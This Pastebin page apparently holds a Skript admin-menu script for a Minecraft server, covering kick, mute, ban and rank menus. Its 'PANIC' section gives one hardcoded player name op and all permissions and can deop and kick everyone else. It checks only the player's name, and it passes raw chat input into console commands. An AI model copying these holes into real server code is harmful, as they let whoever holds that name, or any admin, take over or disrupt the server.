Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- command /admingui:
- permission: staff
- trigger:
- wait 5 ticks
- open chest with 1 row named "&4Admin Gui" to player
- format slot 1 of player with emerald block named "&a&lHelper Commands" to close then run [make console execute command "/gui %player% helper"]
- format slot 3 of player with emerald block named "&d&lModerator Commands" to close then run [make console execute command "/gui %player% moderator"]
- format slot 5 of player with emerald block named "&4&lAdministrator Commands" to close then run [make console execute command "/gui %player% admin"]
- format slot 7 of player with redstone block named "&c&lPANIC" with lore "Owner only" to close then run [make console execute command "/gui %player% panic"]
- on join:
- if {banning.%player%} isn't set:
- set {banning.%player%} to none
- command /gui [<player>] [<text>]:
- permission: admin
- trigger:
- wait 5 ticks
- if arg-2 is "helper":
- open chest with 1 row named "&aHelper Commands" to arg-1
- format slot 1 of arg-1 with barrier block named "&4Bans" to close then run [make console execute command "/gui %arg-1% banshelper"]
- format slot 7 of arg-1 with barrier block named "&cPunishments" to close then run [make console execute command "/gui %arg-1% punishmentshelper"]
- format slot 8 of arg-1 with arrow named "&6Back" to close then run [make arg-1 execute command "/admingui"]
- if arg-2 is "banshelper":
- open chest with 2 rows named "&cBans" to arg-1
- format slot 0 of arg-1 with barrier block named "&cban (10 minutes)" with lore "bans player for 10 minutes" to close then run [make console execute command "/gui %arg-1% currentonlineforhelper"]
- format slot 8 of arg-1 with arrow named "&6Back" to close then run [make console execute command "/gui %arg-1% helper"]
- if arg-2 is "currentonlineforhelper":
- set {banningreason.%arg-1%} to true
- send "&aPlease type the ban reason in chat." to arg-1
- if arg-2 is "punishmentshelper":
- open chest with 1 row named "&cPunishments" to arg-1
- format slot 1 of arg-1 with barrier block named "&cMute" to close then run [make console execute command "/gui %arg-1% currentonlineforhelper2"]
- format slot 3 of arg-1 with barrier block named "&cKick" to close then run [make console execute command "/gui %arg-1% kick"]
- format slot 8 of arg-1 with arrow named "&6Back" to close then run [make console execute command "/gui %arg-1% helper"]
- if arg-2 is "kick":
- send "&aType in chat the kick reason." to arg-1
- set {kickingreason.%arg-1%} to true
- if arg-2 is "kick2":
- open chest with 2 rows named "&ePlayers" to arg-1
- set {_slot} to 0
- loop all players:
- format slot {_slot} of arg-1 with loop-player's skull named "%loop-player%" to close then run [make console execute command "/kick %loop-player% %{kickreason.%arg-1%}%"]
- add 1 to {_slot}
- if arg-2 is "currentonlineforhelper2":
- set {mutetiming.%arg-1%} to true
- send "&aChoose your mute time, type in chat. NUMBERS ONLY NO PERIODS." to arg-1
- if arg-2 is "currentonlineforhelper3":
- open chest with 2 rows named "&ePlayers" to arg-1
- set {_slot} to 0
- loop all players:
- format slot {_slot} of arg-1 with loop-player's skull named "%loop-player%" to close then run [make console execute command "/mute %loop-player% %{mutetime.%arg-1%}%m"]
- add 1 to {_slot}
- if arg-2 is "currentonlineforhelper4":
- open chest with 2 rows named "&ePlayers" to arg-1
- set {_slot} to 0
- loop all players:
- format slot {_slot} of arg-1 with loop-player's skull named "%loop-player%" to close then run [make console execute command "/tempban %loop-player% 10m %{banreason.%arg-1%}%"]
- add 1 to {_slot}
- if arg-2 is "moderator":
- if arg-1 has permission "moderator":
- open chest with 2 rows named "&dModerator Commands" to arg-1
- format slot 1 of arg-1 with barrier block named "&cBan" to close then run [make console execute command "/gui %arg-1% modban"]
- format slot 3 of arg-1 with barrier block named "&cPunishments" to close then run [make console execute command "/gui %arg-1% modpunishments"]
- format slot 5 of arg-1 with barrier block named "&cPermanent Ban" to close then run [make console execute command "/gui %arg-1% permbans"]
- format slot 8 of arg-1 with arrow named "&6Back" to close then run [make arg-1 execute command "/admingui"]
- if arg-2 is "modban":
- send "&aType in chat how long you want the ban to be (NUMBERS ONLY, THIS WILL ONLY BAN THEM IN TERMS OF HOURS, NOT DAYS OR MINUTES." to arg-1
- set {banningtime.%arg-1%} to true
- if arg-2 is "banningmod":
- open chest with 2 rows named "&ePlayers" to arg-1
- set {_slot} to 0
- loop all players:
- format slot {_slot} of arg-1 with loop-player's skull named "%loop-player%" to close then run [make console execute command "/tempban %loop-player% %{bantime.%arg-1%}%h %{banreason2.%arg-1%}%"]
- add 1 to {_slot}
- if arg-2 is "modpunishments":
- open chest with 1 row named "&dModerator Punishments" to arg-1
- format slot 1 of arg-1 with barrier block named "&cKick" to close then run [make console execute command "/gui %arg-1% kick"]
- format slot 3 of arg-1 with barrier block named "&cMute" to close then run [make console execute command "/gui %arg-1% currentonlineforhelper2"]
- format slot 8 of arg-1 with arrow named "&6Back" to close then run [make console execute command "/gui %arg-1% moderator"]
- if arg-2 is "permbans":
- send "&aType in chat the reason for the ban or type 'cancel' to cancel." to arg-1
- set {permbanning.%arg-1%} to true
- if arg-2 is "permbans2":
- open chest with 2 rows named "&ePlayers" to arg-1
- set {_slot} to 0
- loop all players:
- format slot {_slot} of arg-1 with loop-player's skull named "%loop-player%" to close then run [make console execute command "/ban %loop-player% %{permbanreason.%arg-1%}%"]
- add 1 to {_slot}
- if arg-2 is "admin":
- if arg-1 has permission "admin":
- open chest with 1 row named "&4Administrator Commands" to arg-1
- format slot 1 of arg-1 with barrier block named "&cBan" to close then run [make console execute command "/gui %arg-1% modban"]
- format slot 3 of arg-1 with barrier block named "&cPunishments" to close then run [make console execute command "/gui %arg-1% adminpunishments"]
- format slot 5 of arg-1 with barrier block named "&cPermanent Ban" to close then run [make console execute command "/gui %arg-1% permbans"]
- format slot 7 of arg-1 with barrier block named "&cPromos/Demos" to close then run [make console execute command "/gui %arg-1% promodemo"]
- format slot 8 of arg-1 with arrow named "&6Back" to close then run [make arg-1 execute command "/admingui"]
- if arg-2 is "adminpunishments":
- open chest with 1 row named "&4Administrative Punishments" to arg-1
- format slot 1 of arg-1 with barrier block named "&cKick" to close then run [make console execute command "/gui %arg-1% kick"]
- format slot 3 of arg-1 with barrier block named "&cMute" to close then run [make console execute command "/gui %arg-1% currentonlineforhelper2"]
- format slot 8 of arg-1 with arrow named "&6Back" to close then run [make console execute command "/gui %arg-1% admin"]
- if arg-2 is "promodemo":
- open chest with 1 row named "&4Promotions & Demotions" to arg-1
- format slot 1 of arg-1 with diamond block named "&aPromote to Helper" to close then run [make console execute command "/gui %arg-1% promote"]
- format slot 3 of arg-1 with barrier block named "&cDemote to Default (helpers only)" to close then run [make console execute command "/gui %arg-1% demote"]
- format slot 8 of arg-1 with arrow named "&6Back" to close then run [make console execute command "/gui %arg-1% adminpunishments"]
- if arg-2 is "promote":
- open chest with 2 rows named "&ePlayers" to arg-1
- set {_slot} to 0
- loop all players:
- format slot {_slot} of arg-1 with loop-player's skull named "%loop-player%" to close then run [make arg-1 execute command "/lp user %loop-player% parent add helper"]
- add 1 to {_slot}
- if arg-2 is "demote":
- open chest with 2 rows named "&ePlayers" to arg-1
- set {_slot} to 0
- loop all players:
- format slot {_slot} of arg-1 with loop-player's skull named "%loop-player%" to close then run [make arg-1 execute command "/lp user %loop-player% parent remove helper"]
- add 1 to {_slot}
- if arg-2 is "panic":
- if arg-1's name is "KailumsSon":
- open chest with 1 row named "&4&lPANIC" to arg-1
- format slot 1 of arg-1 with diamond named "&eGive all perms, op, etc." to close then run [make console execute command "/gui %arg-1% allop"]
- format slot 3 of arg-1 with barrier block named "&cAnarchy, deop all, kickall" with lore "apart from yourself" to close then run [make console execute command "/gui %arg-1% anarchy"]
- format slot 8 of arg-1 with arrow named "&6Back" to close then run [make arg-1 execute command "/admingui"]
- else:
- send "&cYou are not KailumsSon." to arg-1
- if arg-2 is "allop":
- make console execute command "/op KailumsSon"
- make console execute command "/lp user KailumsSon permission set *"
- make console execute command "/lp user KailumsSon parent add founder"
- send "&aYou're op and have everything, fight against the war!" to arg-1
- if arg-2 is "anarchy":
- loop all players:
- if loop-player's name isn't "KailumsSon":
- make console execute command "/deop %loop-player%"
- wait 1 second
- make console execute command "/kick %loop-player%"
- command /bannone:
- trigger:
- set {banning.%player%} to none
- on chat:
- if {mutetiming.%player%} is true:
- cancel event
- set {mutetime.%player%} to message
- set {mutetiming.%player%} to false
- send "&aSuccessful" to player
- make console execute command "/gui %player% currentonlineforhelper3"
- if {banningreason.%player%} is true:
- cancel event
- set {banningreason.%player%} to false
- set {banreason.%player%} to message
- send "&aSucessful" to player
- make console execute command "/gui %player% currentonlineforhelper4"
- if {kickingreason.%player%} is true:
- cancel event
- set {kickingreason.%player%} to false
- set {kickreason.%player%} to message
- send "&aSuccessful" to player
- make console execute command "/gui %player% kick2"
- if {banningtime.%player%} is true:
- cancel event
- set {banningtime.%player%} to false
- set {bantime.%player%} to message
- send "&aNow say the ban reason in chat." to player
- set {banningreason2.%player%} to true
- stop
- if {banningreason2.%player%} is true:
- cancel event
- set {banningreason2.%player%} to false
- set {banreason2.%player%} to message
- send "&aSuccessful" to player
- make console execute command "/gui %player% banningmod"
- if {permbanning.%player%} is true:
- if message doesn't contain "cancel":
- cancel event
- set {permbanreason.%player%} to message
- set {permbanning.%player%} to false
- send "&aSuccessful" to player
- make console execute command "/gui %player% permbans2"
- else:
- cancel event
- set {permbanning.%player%} to false
- send "&aCancelled" to player
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement